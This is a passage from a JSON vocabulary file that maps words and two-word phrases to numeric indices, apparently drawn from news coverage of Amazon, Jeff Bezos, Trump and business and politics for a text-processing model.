explicit\": 34617,\n  \"men earned\": 34618,\n  \"currently operates\": 34619,\n  \"surely change\": 34620,\n  \"consenting adult\": 34621,\n  \"make movie\": 34622,\n  \"governor office\": 34623,\n  \"computing advertising\": 34624,\n  \"aws opioid\": 34625,\n  \"workers delivering\": 34626,\n  \"incomprehensibly huge\": 34627,\n  \"chart produced\": 34628,\n  \"volumes\": 34629,\n  \"poohed employee\": 34630,\n  \"cartoon negotiating\": 34631,\n  \"toronto stock\": 34632,\n  \"c_type article\": 34633,\n  \"meet half\": 34634,\n  \"mongodb mongodb\": 34635,\n  \"sources outside\": 34636,\n  \"city brothels\": 34637,\n  \"fl\": 34638,\n  \"psychiatrist travels\": 34639,\n  \"carlson vice\": 34640,\n  \"legally valid\": 34641,\n  \"sets spending\": 34642,\n  \"humanized mice\": 34643,\n  \"developer buddy\": 34644,\n  \"carell received\": 34645,\n  \"company key\": 34646,\n  \"largest investigation\": 34647,\n  \"amazon average\": 34648,\n  \"retail verticals\": 34649,\n  \"engulfing\": 34650,\n  \"mission operations\": 34651,\n  \"locales thing\": 34652,\n  \"ostensibly\": 34653,\n  \"airline profits\": 34654,\n  \"election mariia\": 34655,\n  \"married william\": 34656,\n  \"noting\": 34657,\n  \"delivering orders\": 34658,\n  \"parting message\": 34659,\n  \"warren says\": 34660,\n  \"rose gudiel\": 34661,\n  \"occupy california\": 34662,\n  \"1547430310000 bezos\": 34663,\n  \"goldblum receives\": 34664,\n  \"discernable virtue\": 34665,\n  \"unlike las\": 34666,\n  \"month microsoft\": 34667,\n  \"mta governor\": 34668,\n  \"resource\": 34669,\n  \"twitter listen\": 34670,\n  \"vendor approach\": 34671,\n  \"market bulls\": 34672,\n  \"derby amazon\": 34673,\n  \"stephenson says\": 34674,\n  \"survey released\": 34675,\n  \"pledged reduction\": 34676,\n  \"economic boon\": 34677,\n  \"enforcement ice\": 34678,\n  \"state tax\": 34679,\n  \"today rollbacks\": 34680,\n  \"sentiment geekwire\": 34681,\n  \"streamlining act\": 34682,\n  \"legal channels\": 34683,\n  \"blindly loyal\": 34684,\n  \"stunning costumes\": 34685,\n  \"longtime critic\": 34686,\n  \"lawsuits 2018\": 34687,\n  \"500 biggest\": 34688,\n  \"portman\": 34689,\n  \"retail pharmacies\": 34690,\n  \"cfo alan\": 34691,\n  \"divorce photo\": 34692,\n  \"downbeat\": 34693,\n  \"affairs committee\": 34694,\n  \"right arizona\": 34695,\n  \"subsidies coupled\": 34696,\n  \"commented\": 34697,\n  \"blackstone group\": 34698,\n  \"patrol\": 34699,\n  \"originally applauded\": 34700,\n  \"hold amazon\": 34701,\n  \"haven responded\": 34702,\n  \"reports try\": 34703,\n  \"administration dhillon\": 34704,\n  \"americans don\": 34705,\n  \"daughter ellie\": 34706,\n  \"anwar ibrahim\": 34707,\n  \"attendees set\": 34708,\n  \"authentic\": 34709,\n  \"multinationals japan\": 34710,\n  \"grabyourwallet hashtag\": 34711,\n  \"higher mailing\": 34712,\n  \"vertical deals\": 34713,\n  \"house aims\": 34714,\n  \"9bn\": 34715,\n  \"person center\": 34716,\n  \"weaponising\": 34717,\n  \"bezos mocked\": 34718,\n  \"2018 sen\": 34719,\n  \"castigation\": 34720,\n  \"costs maxsa\": 34721,\n  \"typically follow\": 34722,\n  \"owen president\": 34723,\n  \"facts wrong\": 34724,\n  \"prices companies\": 34725,\n  \"breaks kill\": 34726,\n  \"progressive lawmakers\": 34727,\n  \"7th\": 34728,\n  \"did good\": 34729,\n  \"spin\": 34730,\n  \"paraguay ecuador\": 34731,\n  \"rob porter\": 34732,\n  \"amazon capitalist\": 34733,\n  \"art assistant\": 34734,\n  \"story hedge\": 34735,\n  \"amazonwearenotrobots\": 34736,\n  \"class stamp\": 34737,\n  \"book eftist\": 34738,\n  \"christianity\": 34739,\n  \"derek\": 34740,\n  \"companies shared\": 34741,\n  \"newsletters constant\": 34742,\n  \"pressure seasonally\": 34743,\n  \"slansky slansky\": 34744,\n  \"shipper\": 34745,\n  \"stock soared\": 34746,\n  \"porches\": 34747,\n  \"dramatic effect\": 34748,\n  \"booming economy\": 34749,\n  \"plus heaping\": 34750,\n  \"details amazon\": 34751,\n  \"n7 t9x\": 34752,\n  \"trump blaming\": 34753,\n  \"amazon sets\": 34754,\n  \"baltxqyvjb pic\": 34755,\n  \"cashless stores\": 34756,\n  \"action does\": 34757,\n  \"coca cola\": 34758,\n  \"rollicking\": 34759,\n  \"continue doing\": 34760,\n  \"library bakery\": 34761,\n  \"good housekeeping\": 34762,\n  \"enshrined\": 34763,\n  \"just fine\": 34764,\n  \"paid ballard\": 34765,\n  \"good salad\": 34766,\n  \"future antitrust\": 34767,\n  \"eengleman\": 34768,\n  \"build privately\": 34769,\n  \"anothergovernment shutdown\": 34770,\n  \"firm quadratic\": 34771,\n  \"newly minted\": 34772,\n  \"metoo agreement\": 34773,\n  \"w9x break\": 34774,\n  \"bit concerned\": 34775,\n  \"nehisi coates\": 34776,\n  \"victoria secret\": 34777,\n  \"forceful\": 34778,\n  \"telecom market\": 34779,\n  \"post lay\": 34780,\n  \"msn worldwide\": 34781,\n  \"new stage\": 34782,\n  \"america forbes\": 34783,\n  \"inventor\": 34784,\n  \"decisions argued\": 34785,\n  \"brian brenberg\": 34786,\n  \"certain labor\": 34787,\n  \"including overtime\": 34788,\n  \"clown\": 34789,\n  \"new construction\": 34790,\n  \"service starring\": 34791,\n  \"itlast night\": 34792,\n  \"sh donald\": 34793,\n  \"clip robert\": 34794,\n  \"work invest\": 34795,\n  \"minutes seconds\": 34796,\n  \"\\u0430bob woodward\": 34797,\n  \"know nytimes\": 34798,\n  \"presidential actions\": 34799,\n  \"verizon media\": 34800,\n  \"fewer temporary\": 34801,\n  \"supplier comment\": 34802,\n  \"creation amazon\": 34803,\n  \"eric did\": 34804,\n  \"somerset tru\": 34805,\n  \"selected areas\": 34806,\n  \"tech policy\": 34807,\n  \"biggest seller\": 34808,\n  \"2016 reuters\": 34809,\n  \"american brands\": 34810,\n  \"staff recently\": 34811,\n  \"world shoplifters\": 34812,\n  \"newspapers abdicate\": 34813,\n  \"adeyemi\": 34814,\n  \"really just\": 34815,\n  \"badly believe\": 34816,\n  \"suspensions fees\": 34817,\n  \"sen john\": 34818,\n  \"businesses huawei\": 34819,\n  \"business woot\": 34820,\n  \"freeloading\": 34821,\n  \"border employees\": 34822,\n  \"won stop\": 34823,\n  \"towel today\": 34824,\n  \"speeding\": 34825,\n  \"facebook\": 34826,\n  \"paid vacations\": 34827,\n  \"sly\": 34828,\n  \"fadeout\": 34829,\n  \"thought ny\": 34830,\n  \"wall watch\": 34831,\n  \"begin suzanne\": 34832,\n  \"doorstep tonight\": 34833,\n  \"nasdaq index\": 34834,\n  \"scenes orig\": 34835,\n  \"completely caught\": 34836,\n  \"primarily adjusted\": 34837,\n  \"good mackey\": 34838,\n  \"probe sources\": 34839,\n  \"soper geekwire\": 34840,\n  \"enquirer crashed\": 34841,\n  \"arch rivals\": 34842,\n  \"318 00m\": 34843,\n  \"booked daniels\": 34844,\n  \"price premium\": 34845,\n  \"decades rubenstein\": 34846,\n  \"critical twitter\": 34847,\n  \"practices employed\": 34848,\n  \"entrusting\": 34849,\n  \"morning commuting\": 34850,\n  \"effective approach\": 34851,\n  \"study debunked\": 34852,\n  \"consultant michael\": 34853,\n  \"tower stars\": 34854,\n  \"agencies looking\": 34855,\n  \"unregistered foreign\": 34856,\n  \"gotten better\": 34857,\n  \"need upgrades\": 34858,\n  \"launched amazon\": 34859,\n  \"using single\": 34860,\n  \"notice politicians\": 34861,\n  \"amazon arguing\": 34862,\n  \"trump rounds\": 34863,\n  \"small family\": 34864,\n  \"seldom\": 34865,\n  \"piggy\": 34866,\n  \"independent couriers\": 34867,\n  \"amzn activision\": 34868,\n  \"countries approaches\": 34869,\n  \"steven spielberg\": 34870,\n  \"literate logical\": 34871,\n  \"young republicans\": 34872,\n  \"correction territory\": 34873,\n  \"illumonet\": 34874,\n  \"typical walmart\": 34875,\n  \"ditching\": 34876,\n  \"generate income\": 34877,\n  \"amazon daily\": 34878,\n  \"controls work\": 34879,\n  \"drama velvet\": 34880,\n  \"implement\": 34881,\n  \"coffee scene\": 34882,\n  \"congressional legislation\": 34883,\n  \"bribing refusing\": 34884,\n  \"bezos sponsorship\": 34885,\n  \"term pain\": 34886,\n  \"overseas profits\": 34887,\n  \"r4ee c6\": 34888,\n  \"unseals\": 34889,\n  \"consider corporate\": 34890,\n  \"addresses longstanding\": 34891,\n  \"continue reading\": 34892,\n  \"tabloid allegedly\": 34893,\n  \"government business\": 34894,\n  \"independent study\": 34895,\n  \"washington bivalves\": 34896,\n  \"fraud attacks\": 34897,\n  \"facilities resulting\": 34898,\n  \"key cadence\": 34899,\n  \"clothing wearables\": 34900,\n  \"projecting need\": 34901,\n  \"story timothy\": 34902,\n  \"breach coverup\": 34903,\n  \"typically favor\": 34904,\n  \"email released\": 34905,\n  \"exporter\": 34906,\n  \"gop trillion\": 34907,\n  \"maryland lead\": 34908,\n  \"says explaining\": 34909,\n  \"pakistan chinese\": 34910,\n  \"fo amazon\": 34911,\n  \"trump swing\": 34912,\n  \"market hard\": 34913,\n  \"democrats outpolled\": 34914,\n  \"toronto maple\": 34915,\n  \"report dipped\": 34916,\n  \"2018 tamebay\": 34917,\n  \"turkey previous\": 34918,\n  \"judge robert\": 34919,\n  \"amazon going\": 34920,\n  \"slash operating\": 34921,\n  \"president john\": 34922,\n  \"245\": 34923,\n  \"refusal\": 34924,\n  \"dispens\": 34925,\n  \"included jay\": 34926,\n  \"laughing\": 34927,\n  \"valentine officialmpv\": 34928,\n  \"shopping experiences\": 34929,\n  \"youth demonstrations\": 34930,\n  \"director robert\": 34931,\n  \"destination today\": 34932,\n  \"previously accused\": 34933,\n  \"empower\": 34934,\n  \"king5\": 34935,\n  \"pharmaceutical\": 34936,\n  \"spending legislation\": 34937,\n  \"bakesale\": 34938,\n  \"cohen conspiracy\": 34939,\n  \"getcurrentvideocardcontents videoid\": 34940,\n  \"fiscal plans\": 34941,\n  \"john rocket\": 34942,\n  \"maga brian\": 34943,\n  \"goog mean\": 34944,\n  \"leak pictures\": 34945,\n  \"doll yacht\": 34946,\n  \"air fleet\": 34947,\n  \"thumb super\": 34948,\n  \"chief trims\": 34949,\n  \"julie creswell\": 34950,\n  \"directing blame\": 34951,\n  \"retail graham\": 34952,\n  \"customer obsession\": 34953,\n  \"pirro liars\": 34954,\n  \"consumer focused\": 34955,\n  \"river car\": 34956,\n  \"handbag weekend\": 34957,\n  \"decade partially\": 34958,\n  \"pyongyang\": 34959,\n  \"humiliated\": 34960,\n  \"irony prevails\": 34961,\n  \"barbara humpton\": 34962,\n  \"excessive cost\": 34963,\n  \"statue\": 34964,\n  \"list includes\": 34965,\n  \"question session\": 34966,\n  \"residents resolve\": 34967,\n  \"reducing environmental\": 34968,\n  \"rfenner bloomberg\": 34969,\n  \"gerber eab\": 34970,\n  \"fell despite\": 34971,\n  \"faire followers\": 34972,\n  \"began conversations\": 34973,\n  \"dark terrors\": 34974,\n  \"rmb30bn 3bn\": 34975,\n  \"material amazon\": 34976,\n  \"hit abc\": 34977,\n  \"news host\": 34978,\n  \"released previews\": 34979,\n  \"employer agents\": 34980,\n  \"262\": 34981,\n  \"morgan joining\": 34982,\n  \"fernandez\": 34983,\n  \"political left\": 34984,\n  \"leading trump\": 34985,\n  \"spread violent\": 34986,\n  \"realdonaldtrump trump\": 34987,\n  \"original title\": 34988,\n  \"butler importantly\": 34989,\n  \"campaign met\": 34990,\n  \"gas drilling\": 34991,\n  \"company founded\": 34992,\n  \"adapting\": 34993,\n  \"thatis\": 34994,\n  \"monopoly time\": 34995,\n  \"jobs began\": 34996,\n  \"beer institute\": 34997,\n  \"latest post\": 34998,\n  \"amazon believe\": 34999,\n  \"accepts pretty\": 35000,\n  \"people gathered\": 35001,\n  \"gadgets report\": 35002,\n  \"york elected\": 35003,\n  \"takes stake\": 35004,\n  \"sneak peeks\": 35005,\n  \"bezos regular\": 35006,\n  \"investigating president\": 35007,\n  \"anthem stance\": 35008,\n  \"short sentence\": 35009,\n  \"doesn count\": 35010,\n  \"need spatula\": 35011,\n  \"content bryan\": 35012,\n  \"particular election\": 35013,\n  \"headaches\": 35014,\n  \"writer editor\": 35015,\n  \"country pasturelands\": 35016,\n  \"partially responsible\": 35017,\n  \"people know\": 35018,\n  \"million signed\": 35019,\n  \"lopez obrador\": 35020,\n  \"popular smart\": 35021,\n  \"unexpectedly resigned\": 35022,\n  \"group linked\": 35023,\n  \"farenheit\": 35024,\n  \"retirement\": 35025,\n  \"fail basically\": 35026,\n  \"baton rouge\": 35027,\n  \"grab aimed\": 35028,\n  \"marked\": 35029,\n  \"abrupt\": 35030,\n  \"hall councilman\": 35031,\n  \"approaching capturing\": 35032,\n  \"cnw\": 35033,\n  \"heights just\": 35034,\n  \"minutes late\": 35035,\n  \"personally funding\": 35036,\n  \"reportedly requested\": 35037,\n  \"far productive\": 35038,\n  \"devitt commented\": 35039,\n  \"human right\": 35040,\n  \"continued success\": 35041,\n  \"ben chestnut\": 35042,\n  \"meeting ms\": 35043,\n  \"var global\": 35044,\n  \"choosing new\": 35045,\n  \"new generation\": 35046,\n  \"100 avg\": 35047,\n  \"washington liz\": 35048,\n  \"prosecutors appear\": 35049,\n  \"news photo\": 35050,\n  \"globally according\": 35051,\n  \"company excessive\": 35052,\n  \"enlarge source\": 35053,\n  \"senate floor\": 35054,\n  \"kitchen venture\": 35055,\n  \"clarivate\": 35056,\n  \"hyper focused\": 35057,\n  \"counterpoint guggenheim\": 35058,\n  \"stranger month\": 35059,\n  \"episode charts\": 35060,\n  \"trades mixtapes\": 35061,\n  \"robert sheehan\": 35062,\n  \"keefe contributed\": 35063,\n  \"obama judicial\": 35064,\n  \"market welch\": 35065,\n  \"online div\": 35066,\n  \"web links\": 35067,\n  \"buyboxexperts\": 35068,\n  \"existing businesses\": 35069,\n  \"unexpected result\": 35070,\n  \"counters francis\": 35071,\n  \"ideologues\": 35072,\n  \"phillip jackson\": 35073,\n  \"ultimately result\": 35074,\n  \"predatory speaking\": 35075,\n  \"demo took\": 35076,\n  \"sure does\": 35077,\n  \"politics carol\": 35078,\n  \"chop clip\": 35079,\n  \"profitable\": 35080,\n  \"director gina\": 35081,\n  \"alleges backed\": 35082,\n  \"moser yeah\": 35083,\n  \"local transportation\": 35084,\n  \"arabia writer\": 35085,\n  \"systems built\": 35086,\n  \"trump ex\": 35087,\n  \"juicy target\": 35088,\n  \"reports europeans\": 35089,\n  \"torture cops\": 35090,\n  \"vegan\": 35091,\n  \"news don\": 35092,\n  \"menace\": 35093,\n  \"opened huge\": 35094,\n  \"comfortablysmug\": 35095,\n  \"organization online\": 35096,\n  \"inaction president\": 35097,\n  \"nonsense ex\": 35098,\n  \"marathon runner\": 35099,\n  \"edging\": 35100,\n  \"revealing photos\": 35101,\n  \"liberty taxpayers\": 35102,\n  \"currentvidobj\": 35103,\n  \"cournoyer\": 35104,\n  \"altruistic mission\": 35105,\n  \"eventually eliminating\": 35106,\n  \"insane personal\": 35107,\n  \"bess\": 35108,\n  \"netflix doesn\": 35109,\n  \"workers wal\": 35110,\n  \"soon announce\": 35111,\n  \"palsy competes\": 35112,\n  \"make comment\": 35113,\n  \"ap secretary\": 35114,\n  \"muslim ban\": 35115,\n  \"concerned consumers\": 35116,\n  \"guy trump\": 35117,\n  \"folklife\": 35118,\n  \"security impact\": 35119,\n  \"inspiration\": 35120,\n  \"mountain pipeline\": 35121,\n  \"uvu awoo\": 35122,\n  \"publicly share\": 35123,\n  \"wrong\": 35124,\n  \"protection restructuring\": 35125,\n  \"converses jeff\": 35126,\n  \"impoverished amazon\": 35127,\n  \"uses data\": 35128,\n  \"twitter shares\": 35129,\n  \"called block\": 35130,\n  \"loiclemeur\": 35131,\n  \"river amazon\": 35132,\n  \"extremist\": 35133,\n  \"forever stamps\": 35134,\n  \"suppress\": 35135,\n  \"committee member\": 35136,\n  \"dominican films\": 35137,\n  \"sen poetry\": 35138,\n  \"pros jim\": 35139,\n  \"myelitis\": 35140,\n  \"umu samian_damian\": 35141,\n  \"charges related\": 35142,\n  \"bezos security\": 35143,\n  \"company video\": 35144,\n  \"yards\": 35145,\n  \"horndog\": 35146,\n  \"734 words\": 35147,\n  \"trump demand\": 35148,\n  \"street lofty\": 35149,\n  \"cans\": 35150,\n  \"outsourced amazon\": 35151,\n  \"second deadly\": 35152,\n  \"apa riverdale\": 35153,\n  \"king vice\": 35154,\n  \"institutional confidence\": 35155,\n  \"slippery james\": 35156,\n  \"fair recently\": 35157,\n  \"getty images\": 35158,\n  \"strongman literally\": 35159,\n  \"receipts\": 35160,\n  \"turned fencing\": 35161,\n  \"undatable online\": 35162,\n  \"employees enjoy\": 35163,\n  \"marketplace selling\": 35164,\n  \"amazon recommendations\": 35165,\n  \"developer north\": 35166,\n  \"leveraging clauses\": 35167,\n  \"company promise\": 35168,\n  \"1978\": 35169,\n  \"dems make\": 35170,\n  \"sequential\": 35171,\n  \"easy finding\": 35172,\n  \"2017 donald\": 35173,\n  \"vice presidentelect\": 35174,\n  \"multiple stakeholders\": 35175,\n  \"created sweepstakes\": 35176,\n  \"chat sue\": 35177,\n  \"legacy diamond\": 35178,\n  \"charlie kindel\": 35179,\n  \"ashley gold\": 35180,\n  \"bezos hmmm\": 35181,\n  \"recognition platform\": 35182,\n  \"cafe stormy\": 35183,\n  \"blamed accelerated\": 35184,\n  \"reporter leak\": 35185,\n  \"work schedules\": 35186,\n  \"centre saying\": 35187,\n  \"advanced bioscience\": 35188,\n  \"currently exist\": 35189,\n  \"giant membership\": 35190,\n  \"democratic institutions\": 35191,\n  \"removing\": 35192,\n  \"eroded schwartzman\": 35193,\n  \"place\": 35194,\n  \"charges georgetown\": 35195,\n  \"location sheer\": 35196,\n  \"pending investigations\": 35197,\n  \"apparently referring\": 35198,\n  \"ultimately power\": 35199,\n  \"korede nurse\": 35200,\n  \"night washington\": 35201,\n  \"sledgehammer hits\": 35202,\n  \"cut fang\": 35203,\n  \"stay away\": 35204,\n  \"food chain\": 35205,\n  \"dod going\": 35206,\n  \"food bar\": 35207,\n  \"careful trump\": 35208,\n  \"christmas getty\": 35209,\n  \"triumphantly\": 35210,\n  \"petition circulated\": 35211,\n  \"poor living\": 35212,\n  \"consumers subscription\": 35213,\n  \"plans minutes\": 35214,\n  \"authority walks\": 35215,\n  \"rifts\": 35216,\n  \"mvmt watches\": 35217,\n  \"current incumbent\": 35218,\n  \"big city\": 35219,\n  \"tweet good\": 35220,\n  \"puts pentagon\": 35221,\n  \"mister\": 35222,\n  \"unit finally\": 35223,\n  \"product description\": 35224,\n  \"americans stagnate\": 35225,\n  \"glance midterms\": 35226,\n  \"extraordinarily talented\": 35227,\n  \"rick stories\": 35228,\n  \"start releasing\": 35229,\n  \"ftc fine\": 35230,\n  \"violated certain\": 35231,\n  \"business supply\": 35232,\n  \"centrists\": 35233,\n  \"prices politics\": 35234,\n  \"hindering\": 35235,\n  \"facts remain\": 35236,\n  \"original test\": 35237,\n  \"key measure\": 35238,\n  \"boldly predicted\": 35239,\n  \"named blue\": 35240,\n  \"senate failed\": 35241,\n  \"vestager told\": 35242,\n  \"president rhetoric\": 35243,\n  \"customs law\": 35244,\n  \"assist\": 35245,\n  \"improve postal\": 35246,\n  \"mcgehee\": 35247,\n  \"build spaceship\": 35248,\n  \"intentional insult\": 35249,\n  \"promising financial\": 35250,\n  \"kiss\": 35251,\n  \"claims lampert\": 35252,\n  \"heidi\": 35253,\n  \"newspaper vendor\": 35254,\n  \"century did\": 35255,\n  \"presidentelect donald\": 35256,\n  \"gains better\": 35257,\n  \"dividing assets\": 35258,\n  \"ken\": 35259,\n  \"online merchants\": 35260,\n  \"mark weber\": 35261,\n  \"firm diesel\": 35262,\n  \"deficit\": 35263,\n  \"ordinary mail\": 35264,\n  \"just saw\": 35265,\n  \"rico electrical\": 35266,\n  \"delong pok\\u00e9mon\": 35267,\n  \"support\": 35268,\n  \"shares ashford\": 35269,\n  \"amazon disputes\": 35270,\n  \"drug treatment\": 35271,\n  \"bpa free\": 35272,\n  \"nes set\": 35273,\n  \"provide comment\": 35274,\n  \"babb pentagon\": 35275,\n  \"public contest\": 35276,\n  \"plagiarism accusations\": 35277,\n  \"\\u0430and\": 35278,\n  \"acosta 1542086192\": 35279,\n  \"jewelry maker\": 35280,\n  \"lobbyists\": 35281,\n  \"overpriced avalara\": 35282,\n  \"airbnb jpg\": 35283,\n  \"just old\": 35284,\n  \"eventually offered\": 35285,\n  \"job according\": 35286,\n  \"lawrey\": 35287,\n  \"100 kilometers\": 35288,\n  \"following growing\": 35289,\n  \"amazon walked\": 35290,\n  \"censored search\": 35291,\n  \"setback\": 35292,\n  \"public lashing\": 35293,\n  \"2017 alex\": 35294,\n  \"buying prepaid\": 35295,\n  \"city local\": 35296,\n  \"apology letter\": 35297,\n  \"tirelessly alongside\": 35298,\n  \"available federal\": 35299,\n  \"aric\": 35300,\n  \"father suffered\": 35301,\n  \"children stories\": 35302,\n  \"zlehp49ops donald\": 35303,\n  \"laboratory tested\": 35304,\n  \"conservative views\": 35305,\n  \"used unethical\": 35306,\n  \"market says\": 35307,\n  \"fidelity vice\": 35308,\n  \"association recognized\": 35309,\n  \"firm menlo\": 35310,\n  \"imageurl whatsappshareelement\": 35311,\n  \"crony deal\": 35312,\n  \"known tabloid\": 35313,\n  \"backlashes especially\": 35314,\n  \"criminal activity\": 35315,\n  \"agency business\": 35316,\n  \"posted short\": 35317,\n  \"amzn palladium\": 35318,\n  \"montrealgazette vancouversun\": 35319,\n  \"comprehend\": 35320,\n  \"political reasons\": 35321,\n  \"amzn learn\": 35322,\n  \"ecosystem endless\": 35323,\n  \"hallie\": 35324,\n  \"exemptions 2018\": 35325,\n  \"campaign accounts\": 35326,\n  \"effect family\": 35327,\n  \"trump source\": 35328,\n  \"unrivalled position\": 35329,\n  \"pedophiles\": 35330,\n  \"downloads le\": 35331,\n  \"superbugs\": 35332,\n  \"agency captured\": 35333,\n  \"set aug\": 35334,\n  \"group investment\": 35335,\n  \"deep bonds\": 35336,\n  \"duckworth mom\": 35337,\n  \"outlets parent\": 35338,\n  \"thing blows\": 35339,\n  \"oil boss\": 35340,\n  \"public love\": 35341,\n  \"lows says\": 35342,\n  \"frustration amazon\": 35343,\n  \"story shrek\": 35344,\n  \"tagger\": 35345,\n  \"mlb home\": 35346,\n  \"compute\": 35347,\n  \"early draft\": 35348,\n  \"price point\": 35349,\n  \"null inlineimages\": 35350,\n  \"defrauded\": 35351,\n  \"sam morris\": 35352,\n  \"flatiron school\": 35353,\n  \"disseminate intimate\": 35354,\n  \"scathing op\": 35355,\n  \"prior ruling\": 35356,\n  \"pagoda\": 35357,\n  \"muddying\": 35358,\n  \"1941\": 35359,\n  \"biggest economies\": 35360,\n  \"started preliminary\": 35361,\n  \"best possible\": 35362,\n  \"insurance revenue\": 35363,\n  \"story parents\": 35364,\n  \"pricing just\": 35365,\n  \"submitted disposal\": 35366,\n  \"cloud hosting\": 35367,\n  \"huge earnings\": 35368,\n  \"penitentiary john\": 35369,\n  \"2021 analyst\": 35370,\n  \"w5 w5\": 35371,\n  \"deals creativity\": 35372,\n  \"drink ware\": 35373,\n  \"katera responded\": 35374,\n  \"plaintiff pen\": 35375,\n  \"intern ben\": 35376,\n  \"hill block\": 35377,\n  \"media wielding\": 35378,\n  \"expletive\": 35379,\n  \"features discounts\": 35380,\n  \"plant turns\": 35381,\n  \"overcrowded\": 35382,\n  \"second hq\": 35383,\n  \"centrist corporate\": 35384,\n  \"pause probably\": 35385,\n  \"reality collides\": 35386,\n  \"enquirer history\": 35387,\n  \"chris coonschristopher\": 35388,\n  \"republican presidential\": 35389,\n  \"lanzatech\": 35390,\n  \"video hawaii\": 35391,\n  \"jim greer\": 35392,\n  \"surgeons\": 35393,\n  \"recalling\": 35394,\n  \"boycott american\": 35395,\n  \"salesman 2019\": 35396,\n  \"merge\": 35397,\n  \"employees steven\": 35398,\n  \"getty_478170176_388027 jpg\": 35399,\n  \"lessons bezos\": 35400,\n  \"palin going\": 35401,\n  \"park dedicated\": 35402,\n  \"open decentralized\": 35403,\n  \"jack taylor\": 35404,\n  \"700 deputy\": 35405,\n  \"sadler san\": 35406,\n  \"government institutions\": 35407,\n  \"cincinnati ohio\": 35408,\n  \"really treading\": 35409,\n  \"arkin\": 35410,\n  \"lovers\": 35411,\n  \"reservoirs\": 35412,\n  \"daily update\": 35413,\n  \"incessantly reminds\": 35414,\n  \"year recently\": 35415,\n  \"trumporganization\": 35416,\n  \"conservative viewpoints\": 35417,\n  \"annual range\": 35418,\n  \"amazon make\": 35419,\n  \"sacred democratic\": 35420,\n  \"respectfully\": 35421,\n  \"regularly criticized\": 35422,\n  \"t5q 107\": 35423,\n  \"financial means\": 35424,\n  \"qsr profits\": 35425,\n  \"apple released\": 35426,\n  \"provides business\": 35427,\n  \"introduced amazon\": 35428,\n  \"pride\": 35429,\n  \"yes pun\": 35430,\n  \"usps issuing\": 35431,\n  \"new descriptions\": 35432,\n  \"netflix powerful\": 35433,\n  \"thundering\": 35434,\n  \"efficiently\": 35435,\n  \"attempts brennan\": 35436,\n  \"2016 fortunately\": 35437,\n  \"bary\": 35438,\n  \"insurer centene\": 35439,\n  \"parcel industry\": 35440,\n  \"trump nsa\": 35441,\n  \"archdiocese\": 35442,\n  \"philip\": 35443,\n  \"thorny points\": 35444,\n  \"heavily critical\": 35445,\n  \"breaking fee\": 35446,\n  \"financial distress\": 35447,\n  \"bias issue\": 35448,\n  \"alan selby\": 35449,\n  \"layfield report\": 35450,\n  \"shareholder mackenzie\": 35451,\n  \"silent choosing\": 35452,\n  \"potentially better\": 35453,\n  \"widely credited\": 35454,\n  \"maintain regulatory\": 35455,\n  \"joined growing\": 35456,\n  \"evaded antitrust\": 35457,\n  \"establish human\": 35458,\n  \"sent 970\": 35459,\n  \"defect\": 35460,\n  \"gop tax\": 35461,\n  \"article lack\": 35462,\n  \"thumbimagelargesource overrides\": 35463,\n  \"sanchez president\": 35464,\n  \"chicken pox\": 35465,\n  \"cycle think\": 35466,\n  \"right america\": 35467,\n  \"nev\": 35468,\n  \"earlier putting\": 35469,\n  \"gone live\": 35470,\n  \"internet pharmacy\": 35471,\n  \"helped normalize\": 35472,\n  \"names paul\": 35473,\n  \"clean dumps\": 35474,\n  \"misled members\": 35475,\n  \"new multicarrier\": 35476,\n  \"introduced companion\": 35477,\n  \"roku amazon\": 35478,\n  \"organization interestingly\": 35479,\n  \"supplies electronics\": 35480,\n  \"administration list\": 35481,\n  \"assistant attorney\": 35482,\n  \"major recruitment\": 35483,\n  \"irrelevant don\": 35484,\n  \"pizza cinnamon\": 35485,\n  \"financial analysts\": 35486,\n  \"profile says\": 35487,\n  \"covers world\": 35488,\n  \"falcon rocket\": 35489,\n  \"adding fodder\": 35490,\n  \"roads bridges\": 35491,\n  \"whisked\": 35492,\n  \"strike revenue\": 35493,\n  \"season kohl\": 35494,\n  \"ventures saykara\": 35495,\n  \"late afternoon\": 35496,\n  \"2018 great\": 35497,\n  \"ergonomically optimize\": 35498,\n  \"protection probes\": 35499,\n  \"collection basket\": 35500,\n  \"seaworld ride\": 35501,\n  \"increasingly intertwined\": 35502,\n  \"m6\": 35503,\n  \"growing industry\": 35504,\n  \"chair speaking\": 35505,\n  \"flyblog\": 35506,\n  \"relevant popsicle\": 35507,\n  \"unfussy\": 35508,\n  \"ge shares\": 35509,\n  \"ziggy\": 35510,\n  \"implicating facebook\": 35511,\n  \"utility regulation\": 35512,\n  \"limitation\": 35513,\n  \"kimberly\": 35514,\n  \"walked away\": 35515,\n  \"nungesser photo\": 35516,\n  \"yelp\": 35517,\n  \"harming competitors\": 35518,\n  \"republicans trust\": 35519,\n  \"world saving\": 35520,\n  \"dem battle\": 35521,\n  \"percentage point\": 35522,\n  \"animal language\": 35523,\n  \"sl\\u00f8k chief\": 35524,\n  \"teachings invited\": 35525,\n  \"makes nixon\": 35526,\n  \"sarah verardo\": 35527,\n  \"today sears\": 35528,\n  \"stumps\": 35529,\n  \"powers germany\": 35530,\n  \"impressively staged\": 35531,\n  \"infrastructure projects\": 35532,\n  \"airline\": 35533,\n  \"month pay\": 35534,\n  \"fbidirector\": 35535,\n  \"content possibly\": 35536,\n  \"pastoral land\": 35537,\n  \"beiser usa\": 35538,\n  \"counseling\": 35539,\n  \"comscore\": 35540,\n  \"intolerable\": 35541,\n  \"boko\": 35542,\n  \"presidentdefinitely did\": 35543,\n  \"extended\": 35544,\n  \"states throw\": 35545,\n  \"widely known\": 35546,\n  \"buy rating\": 35547,\n  \"cendrowicz bbc\": 35548,\n  \"france great\": 35549,\n  \"115 times\": 35550,\n  \"worried eye\": 35551,\n  \"cl\": 35552,\n  \"person predicted\": 35553,\n  \"confirmed sizeable\": 35554,\n  \"welch successor\": 35555,\n  \"rarely mention\": 35556,\n  \"kara swisher\": 35557,\n  \"dropdown menu\": 35558,\n  \"simply rod\": 35559,\n  \"addressed university\": 35560,\n  \"day la\": 35561,\n  \"outlook looks\": 35562,\n  \"media collateral\": 35563,\n  \"pritzker heir\": 35564,\n  \"snags\": 35565,\n  \"hispanics\": 35566,\n  \"political cold\": 35567,\n  \"provision lasted\": 35568,\n  \"secrets forcing\": 35569,\n  \"supposedly going\": 35570,\n  \"tapes\": 35571,\n  \"pinterest fresh\": 35572,\n  \"shall provide\": 35573,\n  \"just veg\": 35574,\n  \"implicit\": 35575,\n  \"liberal piety\": 35576,\n  \"lemonade stands\": 35577,\n  \"deaf relationship\": 35578,\n  \"self taught\": 35579,\n  \"isolated hamlet\": 35580,\n  \"dead marginalized\": 35581,\n  \"just 